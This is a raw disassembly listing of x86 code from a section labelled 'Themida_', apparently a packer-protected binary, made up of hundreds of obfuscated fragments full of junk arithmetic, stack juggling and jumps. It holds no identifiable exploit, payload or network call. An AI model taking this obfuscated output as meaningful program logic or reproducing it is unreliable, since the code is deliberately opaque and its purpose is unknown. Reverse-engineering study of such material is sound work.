--------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E75E loc_55E1D8: ; CODE XREF: sub_56E75E-DE40j xor esi, 70F36536h jmp loc_56985C ; END OF FUNCTION CHUNK FOR sub_56E75E ; --------------------------------------------------------------------------- loc_55E1E3: ; CODE XREF: Themida_:005601D1j push ebp mov ebp, esp add ebp, 4 sub ebp, 4 jmp loc_56BF0D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E1F4: ; CODE XREF: sub_56755A-8759j sub esi, 4 push esi push [esp+arg_0] jmp loc_560010 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E201: ; CODE XREF: Themida_:00564B13j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E206: ; CODE XREF: sub_56755A+169Cj mov ebp, 13FA2F20h add eax, ebp mov ebp, [esp+4+var_4] jmp loc_56E202 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E215: ; CODE XREF: Themida_:005624C7j push ebp mov ebp, 50514D5Eh push edx jmp loc_55B9CA ; --------------------------------------------------------------------------- loc_55E221: ; CODE XREF: Themida_:0056C7BAj pop esp add esi, eax jmp loc_56E056 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E229: ; CODE XREF: sub_56755A+11BDj add dh, 78h xor bl, dh jmp loc_568662 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E233: ; CODE XREF: Themida_:00566062j add ecx, edi jmp loc_5614F2 ; --------------------------------------------------------------------------- loc_55E23A: ; CODE XREF: Themida_:0056FF05j mov eax, [esp] jmp loc_562234 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_560CAA loc_55E242: ; CODE XREF: sub_560CAA+AB63j push ecx mov edx, [esp+0Ch+var_C] push ecx mov ecx, esp add ecx, 4 add ecx, 4 jmp loc_565F97 ; END OF FUNCTION CHUNK FOR sub_560CAA ; =============== S U B R O U T I N E ======================================= sub_55E257 proc near ; CODE XREF: sub_56542E-9BA3j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055D033 SIZE 0000000C BYTES ; FUNCTION CHUNK AT 005616DB SIZE 0000001C BYTES sub esp, 4 mov [esp+4+var_4], ebp mov ebp, 53242160h jmp loc_5616DB sub_55E257 endp ; --------------------------------------------------------------------------- loc_55E267: ; CODE XREF: Themida_:0057031Fj sub eax, 7A320D5h jmp loc_56734C ; --------------------------------------------------------------------------- loc_55E271: ; CODE XREF: Themida_:005603D4j pop esp mov [esp], edx jmp loc_55E500 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E27A: ; CODE XREF: sub_56755A+2E1Bj mov ecx, 0 sub ecx, 254000B1h add ecx, ebx add ecx, 254000B1h mov [ecx], al push [esp+4+var_4] pop ecx jmp loc_5659BE ; --------------------------------------------------------------------------- loc_55E298: ; CODE XREF: sub_56755A-862Ej sub ebp, 280B888Ah mov ecx, ebp pop ebp jmp loc_561470 ; --------------------------------------------------------------------------- loc_55E2A6: ; CODE XREF: sub_56755A-9A96j add eax, esi pop esi jmp $+5 add ebx, 34C86D8Dh push 6986h jmp loc_56773B ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] push ebp push esp jmp loc_568133 ; --------------------------------------------------------------------------- loc_55E2C9: ; CODE XREF: Themida_:0055F0F1j add ebp, eax sub ebp, 15E63BF5h push ecx mov ecx, 0CC563D5h dec ecx push 635h jmp loc_55EFB4 ; --------------------------------------------------------------------------- loc_55E2E2: ; CODE XREF: Themida_:00561A16j jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56B774 loc_55E2E7: ; CODE XREF: sub_56B774+9j mov ebx, 2AB53861h push edx mov edx, 37E862E0h neg edx push ecx mov ecx, 0DE8CCEE1h xor edx, ecx mov ecx, [esp+10h+var_10] add esp, 4 xor ebx, edx mov edx, [esp+0Ch+var_C] add esp, 4 push eax push ebx mov ebx, 15424A67h jmp loc_568A27 ; END OF FUNCTION CHUNK FOR sub_56B774 ; --------------------------------------------------------------------------- loc_55E31C: ; CODE XREF: Themida_:0056E9E0j push dword ptr [esp] pop ecx add esp, 4 push 4FD1h mov [esp], esi push edi mov edi, esp push eax jmp loc_56BCCC ; --------------------------------------------------------------------------- loc_55E337: ; CODE XREF: Themida_:005682F6j push eax mov eax, 34CA4C17h and eax, 0A8E7500h neg eax jmp loc_5677A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55E349: ; CODE XREF: sub_56E89A-B96Ej add ecx, 0EEE70C2Bh push ecx mov ecx, 551160C0h xor ecx, 578F3902h shr ecx, 7 xor ecx, 64179FEh jmp loc_55D20A ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_55E369: ; CODE XREF: Themida_:0056E715j xor esi, 4BC67CDCh shr esi, 6 xor esi, 252FF5Dh add ebp, esi pop esi sub ebp, 4 xchg ebp, [esp] pop esp mov [esp], ecx jmp loc_563BB4 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E38A: ; CODE XREF: sub_56755A+60FCj xchg edi, [esp+0Ah+var_C+2] push edi push ecx mov edi, [esp+12h+var_14+2] jmp loc_563AFF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E397: ; CODE XREF: Themida_:00566964j push ecx push 59B17D19h jmp loc_563851 ; --------------------------------------------------------------------------- loc_55E3A2: ; CODE XREF: Themida_:0056C1A7j pop edx sub esp, 4 mov [esp], ecx jmp loc_56B782 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5702DD loc_55E3B1: ; CODE XREF: sub_5702DD-10496j pop ebx jmp loc_5640D2 ; END OF FUNCTION CHUNK FOR sub_5702DD ; --------------------------------------------------------------------------- loc_55E3B7: ; CODE XREF: Themida_:005648A9j push dword ptr [esp] pop ecx add esp, 4 mov ah, 0AAh xor ah, bh jmp loc_56108B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E3C7: ; CODE XREF: sub_56755A+8A09j add ebp, edi pop edi pop edi xor ebp, edx pop edx add ebp, 31FD1642h add ebp, 7B238A87h add esi, ebp mov ebp, [esp+6+var_8+2] add esp, 4 push eax mov eax, 4 add esi, eax pop eax xchg esi, [esp+2+var_4+2] jmp loc_568D43 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56CB1B loc_55E3F6: ; CODE XREF: sub_56CB1B-B517j add edi, 31A337DFh jmp loc_56D55B ; END OF FUNCTION CHUNK FOR sub_56CB1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56AE72 loc_55E401: ; CODE XREF: sub_56AE72-4570j push esi mov esi, esp add esi, 4 add esi, 4 xchg esi, [esp+4+var_4] pop esp push ecx mov ecx, 3226A8Ah push eax jmp loc_56FE06 ; END OF FUNCTION CHUNK FOR sub_56AE72 ; --------------------------------------------------------------------------- loc_55E420: ; CODE XREF: Themida_:00565676j mov eax, 1800A96h sub eax, 2381B2Eh shr eax, 4 not eax sub eax, 0F00B8105h add ecx, 5B1912C8h add ecx, eax jmp loc_56756A ; --------------------------------------------------------------------------- loc_55E441: ; CODE XREF: Themida_:00566675j or ebp, 7D712383h xchg ebx, ebp jmp loc_56384A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E44E: ; CODE XREF: sub_56755A-9D26j push edx sub esp, 4 mov [esp+16h+var_18+2], esp push eax mov eax, 4 jmp loc_568CE4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56885A loc_55E460: ; CODE XREF: sub_56885A-1584j xor edi, [esp+0] pop esp and eax, edx push [esp-4+arg_0] mov edx, [esp+0] add esp, 4 add esp, 4 jmp loc_56AA54 ; END OF FUNCTION CHUNK FOR sub_56885A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E477: ; CODE XREF: sub_56755A+9D4j add eax, ebp sub eax, 278C10D5h pop ebp sub eax, 37161B36h jmp loc_56BE42 ; --------------------------------------------------------------------------- loc_55E489: ; CODE XREF: sub_56755A+6CDAj xchg edi, [esp+16h+var_18+2] jmp loc_56A5AF ; --------------------------------------------------------------------------- loc_55E491: ; CODE XREF: sub_56755A+2EF6j pop eax sub esp, 4 mov [esp+16h+var_18+2], edx jmp loc_55E650 ; --------------------------------------------------------------------------- loc_55E49D: ; CODE XREF: sub_56755A-3718j sub ecx, 4D6CCB88h xor edx, ecx jmp loc_5679E6 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563616 loc_55E4AA: ; CODE XREF: sub_563616-71A1j xchg esi, [esp+0Ch+var_C] pop esp jmp loc_5692F9 ; END OF FUNCTION CHUNK FOR sub_563616 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E4B3: ; CODE XREF: sub_56755A-7BFFj push esi mov esi, 14BFE5A3h sub edx, esi pop esi mov ebp, edx pop edx xor ebp, 4DC71577h jmp loc_5676DF ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56D600 loc_55E4CA: ; CODE XREF: sub_56D600-DB19j mov bh, 97h xor cl, bh pop ebx add al, 3Ch add al, cl sub al, 3Ch mov ecx, [esp-0Ah+arg_4+2] add esp, 4 push ebx push edx mov dh, 0BCh jmp loc_563DC9 ; END OF FUNCTION CHUNK FOR sub_56D600 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_563A41 loc_55E4E7: ; CODE XREF: sub_563A41+7BB8j mov eax, [esp+4+var_4] jmp loc_56A064 ; END OF FUNCTION CHUNK FOR sub_563A41 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5643B1 loc_55E4EF: ; CODE XREF: sub_5643B1+9AE7j mov esi, [esp+8+var_8] push edx jmp loc_56D926 ; END OF FUNCTION CHUNK FOR sub_5643B1 ; --------------------------------------------------------------------------- loc_55E4F8: ; CODE XREF: Themida_:0055C04Fj shr ecx, 7 jmp loc_55C776 ; --------------------------------------------------------------------------- loc_55E500: ; CODE XREF: Themida_:0055E275j push 7BC8h mov [esp], esp add dword ptr [esp], 4 push dword ptr [esp] push dword ptr [esp] jmp loc_56E56C ; --------------------------------------------------------------------------- loc_55E517: ; CODE XREF: Themida_:00561A57j mov [esp], edx mov edx, 4 push esi push edx mov edx, 145D4BD0h jmp loc_56103E ; --------------------------------------------------------------------------- push dword ptr [edi+1Ch] popf pop cx rcr dword ptr [esp], cl pushf jmp loc_55B555 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55DA88 loc_55E53A: ; CODE XREF: sub_55DA88+12C92j add esp, 4 add eax, ebx add eax, 293C6F74h pop ebx jmp loc_55C1D6 ; END OF FUNCTION CHUNK FOR sub_55DA88 ; =============== S U B R O U T I N E ======================================= sub_55E54A proc near ; CODE XREF: sub_56755A+1BFEj var_10 = dword ptr -10h var_8 = dword ptr -8 var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BAFC SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0055CFED SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0055D1D2 SIZE 0000002B BYTES ; FUNCTION CHUNK AT 00563344 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056BDB1 SIZE 0000000F BYTES ; FUNCTION CHUNK AT 0056DF8D SIZE 0000000A BYTES sub esp, 4 mov [esp+4+var_4], edx mov dl, 14h and cl, dl jmp loc_55D1D2 sub_55E54A endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E559: ; CODE XREF: sub_56755A-8B6j pop edx push esi mov esi, esp add esi, 4 sub esi, 4 xor esi, [esp+12h+var_14+2] xor [esp+12h+var_14+2], esi xor esi, [esp+12h+var_14+2] mov esp, [esp+12h+var_14+2] mov [esp+12h+var_14+2], ebp mov ebp, 1 and ecx, ebp mov ebp, [esp+12h+var_14+2] push 7D8h mov [esp+16h+var_18+2], ebx push esp mov ebx, [esp+1Ah+var_1C+2] add esp, 4 add ebx, 4 push edi push ebp jmp loc_55DADA ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_55E59B: ; CODE XREF: sub_5673DF+85ABj mov esi, 3E42A90h sub ebx, esi pop esi pop ebp xor ebx, [esp-8+arg_4] xor [esp-8+arg_4], ebx xor ebx, [esp-8+arg_4] mov esp, [esp-8+arg_4] imul ecx jmp sub_56B774 ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- loc_55E5B7: ; CODE XREF: Themida_:00561A1Dj pop edx jmp loc_56C441 ; --------------------------------------------------------------------------- loc_55E5BD: ; CODE XREF: Themida_:005664DDj add eax, ecx mov ecx, [esp] push ecx jmp loc_56DB93 ; --------------------------------------------------------------------------- loc_55E5C8: ; CODE XREF: Themida_:00568800j pop esp jmp loc_5690B1 ; --------------------------------------------------------------------------- loc_55E5CE: ; CODE XREF: Themida_:00566F0Cj push ecx dec byte ptr [esp] mov ecx, [esp] add esp, 4 not cl push ebx mov bl, 7 shl bl, 4 not bl dec bl shl bl, 7 push edx mov dl, 6Eh inc dl shr dl, 1 sub dl, 0D7h shr dl, 2 add dl, 5Dh add bl, dl jmp loc_55BBF7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E601: ; CODE XREF: sub_56755A-BFD0j mov eax, ecx mov ecx, [esp+4+var_4] add esp, 4 not eax inc eax jmp loc_56A84E ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_564356 loc_55E614: ; CODE XREF: sub_564356+1j push ecx jmp loc_568575 ; END OF FUNCTION CHUNK FOR sub_564356 ; --------------------------------------------------------------------------- loc_55E61A: ; CODE XREF: Themida_:00566F43j mov esi, 4 add edi, 783D6F0Bh add edi, esi sub edi, 783D6F0Bh mov esi, [esp] sub esp, 4 mov [esp], ecx push esp pop ecx jmp loc_55E6D6 ; --------------------------------------------------------------------------- loc_55E63D: ; CODE XREF: Themida_:0055D685j add eax, edx sub eax, 9F164EAh pop edx jmp loc_56606D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_55E64A: ; CODE XREF: sub_566504+8j pop ebp jmp loc_563984 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E650: ; CODE XREF: sub_56755A-90C2j push [esp+16h+var_14+2] mov edx, [esp+1Ah+var_1C+2] push ecx push esp pop ecx add ecx, 4 add ecx, 4 push ecx push [esp+22h+var_20+2] pop ecx jmp loc_56625F ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_562C5D loc_55E671: ; CODE XREF: sub_562C5D+9CF6j inc bh and bh, 63h add bh, 80h not bh jmp loc_56647A ; END OF FUNCTION CHUNK FOR sub_562C5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDDC loc_55E680: ; CODE XREF: sub_55FDDC+1j push esi mov esi, 180F14C0h mov ebx, 180F14C2h xor ebx, esi mov esi, [esp+8+var_8] add esp, 4 add esi, ebx pop ebx xchg esi, [esp+0] pop esp btc word ptr [esp-4+arg_0], ax pushf jmp loc_55B555 ; END OF FUNCTION CHUNK FOR sub_55FDDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E6A5: ; CODE XREF: sub_56755A+811j push 510Eh mov [esp+26h+var_28+2], ebx push esp jmp loc_56DAC7 ; --------------------------------------------------------------------------- loc_55E6B3: ; CODE XREF: sub_56755A-1915j sub edi, 4 push edi push [esp+2Eh+var_2C+2] push [esp+32h+var_34+2] push [esp+36h+var_38+2] pop edi add esp, 4 add esp, 4 jmp loc_55FFB9 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E6D6: ; CODE XREF: Themida_:0055E638j push ebx mov ebx, 4 add ecx, 79834A74h jmp loc_56FA92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E6E7: ; CODE XREF: sub_56755A+480Dj xor [esp+2Eh+var_30+2], edx jmp loc_561D6D ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E6EF: ; CODE XREF: Themida_:0056F8EEj pop dword ptr [esp] mov esp, [esp] jmp loc_566EDC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566504 loc_55E6FA: ; CODE XREF: sub_566504+7A84j mov eax, 56C322B5h add edx, eax pop eax sub edx, edi push 7454h mov [esp+0], esi mov esi, 41CD596Ch add esi, 14F5C949h sub edx, esi jmp loc_55B8D1 ; END OF FUNCTION CHUNK FOR sub_566504 ; --------------------------------------------------------------------------- loc_55E71E: ; CODE XREF: Themida_:0056F494j xor edi, [esp] xor [esp], edi xor edi, [esp] mov esp, [esp] push dword ptr [esp] pop eax push 56EFh jmp loc_560439 ; --------------------------------------------------------------------------- loc_55E738: ; CODE XREF: Themida_:00568A22j mov ebx, 4 add edi, ebx pop ebx add edi, 2 jmp loc_55E13C ; --------------------------------------------------------------------------- loc_55E74B: ; CODE XREF: Themida_:0056AC7Cj sub ecx, 0B0BB7ADAh or ebp, ecx jmp loc_568A92 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_565269 loc_55E758: ; CODE XREF: sub_565269-EEAj push esi mov esi, 4 sub ecx, esi pop esi push ecx jmp loc_55D15F ; END OF FUNCTION CHUNK FOR sub_565269 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_568D4B loc_55E767: ; CODE XREF: sub_568D4B-B58Dj mov bh, ah pop eax push 321Dh mov [esp+0], edx push ecx mov cl, bh push ebx mov bl, cl jmp loc_562555 ; END OF FUNCTION CHUNK FOR sub_568D4B ; --------------------------------------------------------------------------- loc_55E77D: ; CODE XREF: Themida_:0055F239j mov eax, 114E793Fh not eax add eax, 114E7942h jmp loc_56196E ; --------------------------------------------------------------------------- loc_55E78E: ; CODE XREF: Themida_:00570313j dec eax jmp loc_569C6A ; --------------------------------------------------------------------------- lodsd push ecx mov ecx, 2A784A82h sub eax, 325F428Eh sub eax, ecx add eax, 325F428Eh pop ecx sub eax, 7AB71C9Ch push edx mov edx, 34A208AFh sub eax, edx pop edx add eax, ebx jmp loc_57034E ; --------------------------------------------------------------------------- loc_55E7BD: ; CODE XREF: Themida_:00569491j xor ebx, 81C36FFh sub ebx, 0AE95C60h jmp loc_567934 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5673DF loc_55E7CE: ; CODE XREF: sub_5673DF+4DD0j xor ebx, 6E24947h push ebx pop ecx pop ebx add ebx, ecx jmp loc_55DA06 ; END OF FUNCTION CHUNK FOR sub_5673DF ; --------------------------------------------------------------------------- loc_55E7DE: ; CODE XREF: Themida_:0055BE07j pop eax xor ebp, [esp] jmp loc_5623D6 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E7E7: ; CODE XREF: sub_56755A+7DA7j xor ch, 5Eh inc ch inc ch sub ch, 4Ah add dh, ch pop ecx jmp loc_563195 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E7F9: ; CODE XREF: Themida_:0056439Dj sub esp, 4 mov [esp], esi push 46DDh mov [esp], esp jmp loc_55BFEF ; --------------------------------------------------------------------------- loc_55E80F: ; CODE XREF: Themida_:00560F44j pop ebp push edx sub esp, 4 mov [esp], ecx mov ecx, 4 push ecx pop edx pop ecx sub ebp, 4C45789Dh sub ebp, 5E7550F9h add ebp, 367E03F3h add ebp, edx sub ebp, 367E03F3h add ebp, 5E7550F9h jmp loc_567438 ; --------------------------------------------------------------------------- loc_55E844: ; CODE XREF: Themida_:0056DED4j push dword ptr [esp] mov ecx, [esp] add esp, 4 push ecx jmp loc_56517B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E856: ; CODE XREF: sub_56755A+295j mov edi, 4 add edx, edi pop edi add edx, 4 jmp loc_55FEF5 ; --------------------------------------------------------------------------- loc_55E869: ; CODE XREF: sub_56755A+6933j mov [esp+26h+var_28+2], eax mov eax, 43534AC0h sub edx, eax mov eax, [esp+26h+var_28+2] push edi jmp loc_5663C1 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E87C: ; CODE XREF: Themida_:0055C637j add esp, 4 sub esp, 4 mov [esp], ecx sub esp, 4 jmp loc_55CA06 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E893: ; CODE XREF: sub_56755A-7C4Bj add ebx, 4 jmp sub_55EAC4 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5646E3 loc_55E89B: ; CODE XREF: sub_5646E3+1j mov ebx, 5A0E3873h sub eax, ebx pop ebx xor eax, 2C60C681h xor ebp, eax pop eax sub edi, ebp pop ebp add edi, 757B27D4h add edi, ecx push eax mov eax, 1BE83516h and eax, 36D7316Fh or eax, 1EDC01CDh add eax, 569EF605h sub edi, eax jmp loc_55D438 ; END OF FUNCTION CHUNK FOR sub_5646E3 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55E8D2: ; CODE XREF: sub_55FDEF+F02Bj pop esp push edx mov edx, 3026742h jmp loc_56AD8E ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E8DE: ; CODE XREF: sub_56755A-A2E8j mov edx, 432C7Bh push ebx mov ebx, edx mov edi, ebx pop ebx pop edx push 46C8h mov [esp+24h+var_24], ebx mov ebx, 71FE5E5Ch jmp loc_56D915 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- loc_55E8FC: ; CODE XREF: Themida_:0056BB1Bj pop edi inc ecx push edx mov edx, 4AD60979h add edx, 13C72A16h add edx, 0FFFFFFFFh push ebp mov ebp, 7AA404F6h jmp loc_564CD8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FDEF loc_55E91B: ; CODE XREF: sub_55FDEF-299Dj xor esi, 2E645076h sub eax, 4D9727ECh jmp loc_56189A ; END OF FUNCTION CHUNK FOR sub_55FDEF ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E92B: ; CODE XREF: sub_56755A-B06j push edx jmp sub_5702DD ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55E931 proc near ; CODE XREF: sub_566504-9A2Bj var_4 = dword ptr -4 arg_0 = dword ptr 4 arg_4 = dword ptr 8 ; FUNCTION CHUNK AT 0055F87C SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056045D SIZE 00000010 BYTES ; FUNCTION CHUNK AT 0056070A SIZE 00000024 BYTES ; FUNCTION CHUNK AT 0056253C SIZE 00000013 BYTES ; FUNCTION CHUNK AT 00562C1F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 00564856 SIZE 00000047 BYTES ; FUNCTION CHUNK AT 005696D6 SIZE 0000002A BYTES ; FUNCTION CHUNK AT 00569953 SIZE 0000001B BYTES ; FUNCTION CHUNK AT 0056A7F4 SIZE 00000017 BYTES ; FUNCTION CHUNK AT 0056EEE4 SIZE 0000001A BYTES ; FUNCTION CHUNK AT 0056F854 SIZE 0000000D BYTES push ebx pop esi pop ebx xchg esi, [esp-4+arg_0] mov esi, [esp-4+arg_0] add esp, 4 shr esi, 1 push edi jmp loc_564856 sub_55E931 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_566C65 loc_55E945: ; CODE XREF: sub_566C65+4C39j mov edi, [esp+8+var_8] add esp, 4 push edx mov edx, 27993BCBh sub ecx, edx mov edx, [esp+8+var_8] jmp loc_56FD00 ; END OF FUNCTION CHUNK FOR sub_566C65 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E95E: ; CODE XREF: sub_56755A+2E64j add ecx, 1F105638h sub ecx, 3AC222Dh add ecx, eax add ecx, 3AC222Dh sub ecx, 1F105638h add ecx, 52270219h mov eax, [esp+28h+var_28] jmp loc_563158 ; --------------------------------------------------------------------------- loc_55E986: ; CODE XREF: sub_56755A-B1D3j mov [esp+8+var_8], edi mov edi, 29332DFEh shr edi, 5 and edi, 75E75157h jmp sub_56B274 ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55E99C proc near ; CODE XREF: sub_55BA18+D598j var_4 = dword ptr -4 ; FUNCTION CHUNK AT 0055BA37 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0055D03F SIZE 00000008 BYTES ; FUNCTION CHUNK AT 0055EFFA SIZE 00000025 BYTES ; FUNCTION CHUNK AT 005603F6 SIZE 0000000A BYTES ; FUNCTION CHUNK AT 0056345F SIZE 0000001C BYTES ; FUNCTION CHUNK AT 005687D5 SIZE 00000012 BYTES ; FUNCTION CHUNK AT 0056BE1D SIZE 00000013 BYTES ; FUNCTION CHUNK AT 0056DD66 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 0056DF9F SIZE 00000022 BYTES push ebp jmp loc_5603F6 sub_55E99C endp ; --------------------------------------------------------------------------- loc_55E9A2: ; CODE XREF: Themida_:0056E2D8j push ebx mov ebx, esp add ebx, 4 jmp loc_56A3E6 ; --------------------------------------------------------------------------- loc_55E9B0: ; CODE XREF: Themida_:00565235j or edx, 2BEA46C5h jmp loc_5628D6 ; --------------------------------------------------------------------------- loc_55E9BB: ; CODE XREF: Themida_:005688DEj add edx, 29AD14A6h jmp loc_56E50D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56E89A loc_55E9C6: ; CODE XREF: sub_56E89A-1281Ej pop ecx pop edi mov ebx, [esp+4+var_4] jmp loc_569827 ; END OF FUNCTION CHUNK FOR sub_56E89A ; --------------------------------------------------------------------------- loc_55E9D0: ; CODE XREF: Themida_:00565B96j add esi, 0FE7AAAB6h jmp loc_55DAFC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55E9DB: ; CODE XREF: sub_56755A+5426j pop [esp+8+var_8] mov esp, [esp+4+var_4] push 4313h mov [esp+8+var_8], ecx jmp sub_56CEC8 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_55FE13 loc_55E9EE: ; CODE XREF: sub_55FE13+3891j mov cl, al pop eax pop edx jmp loc_55E006 ; END OF FUNCTION CHUNK FOR sub_55FE13 ; --------------------------------------------------------------------------- push 2B2Dh mov [esp], esp push edx push ebp mov ebp, 4 mov edx, ebp pop ebp jmp loc_5702EB ; --------------------------------------------------------------------------- loc_55EA0E: ; CODE XREF: Themida_:0055CC48j mov ecx, [esp] push ebp mov ebp, esp add ebp, 4 add ebp, 4 xchg ebp, [esp] mov esp, [esp] push cx mov ch, al push ebx mov bh, dh mov al, bh jmp loc_560872 ; --------------------------------------------------------------------------- loc_55EA34: ; CODE XREF: Themida_:0056C0B5j mov edi, 14940B2Dh jmp loc_56DEFC ; --------------------------------------------------------------------------- loc_55EA3E: ; CODE XREF: Themida_:0056FBB4j shl eax, 5 push ecx jmp loc_56F8A9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EA47: ; CODE XREF: sub_56755A-2281j pop ebp jmp loc_566A34 ; END OF FUNCTION CHUNK FOR sub_56755A ; --------------------------------------------------------------------------- mov cx, [esp] jmp loc_5656A3 ; --------------------------------------------------------------------------- loc_55EA56: ; CODE XREF: Themida_:0056AE82j mov [esp], ebx push 6441h jmp loc_561B70 ; --------------------------------------------------------------------------- loc_55EA63: ; CODE XREF: Themida_:00566ED7j add al, 33h jmp loc_568B95 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_5664A8 loc_55EA6A: ; CODE XREF: sub_5664A8+5A1Fj add [esp+arg_0], 76EC3634h pop ebp mov edx, [esp-4+arg_0] add esp, 4 jmp sub_56166C ; END OF FUNCTION CHUNK FOR sub_5664A8 ; --------------------------------------------------------------------------- loc_55EA7E: ; CODE XREF: Themida_:0055F9B7j pop dword ptr [esp] jmp loc_55D844 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_56755A loc_55EA86: ; CODE XREF: sub_56755A+68FBj pop ebx push 0C70h mov [esp+4+var_4], ecx push esp pop ecx add ecx, 4 add ecx, 4 jmp loc_55B99F ; END OF FUNCTION CHUNK FOR sub_56755A ; =============== S U B R O U T I N E ======================================= sub_55EA9F proc near ; CODE XREF: sub_56D164-9022j var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 0055D2DD SIZE 00000015 BYTES ; FUNCTION CHUNK AT 0056671A SIZE 0000000A BYTES ; 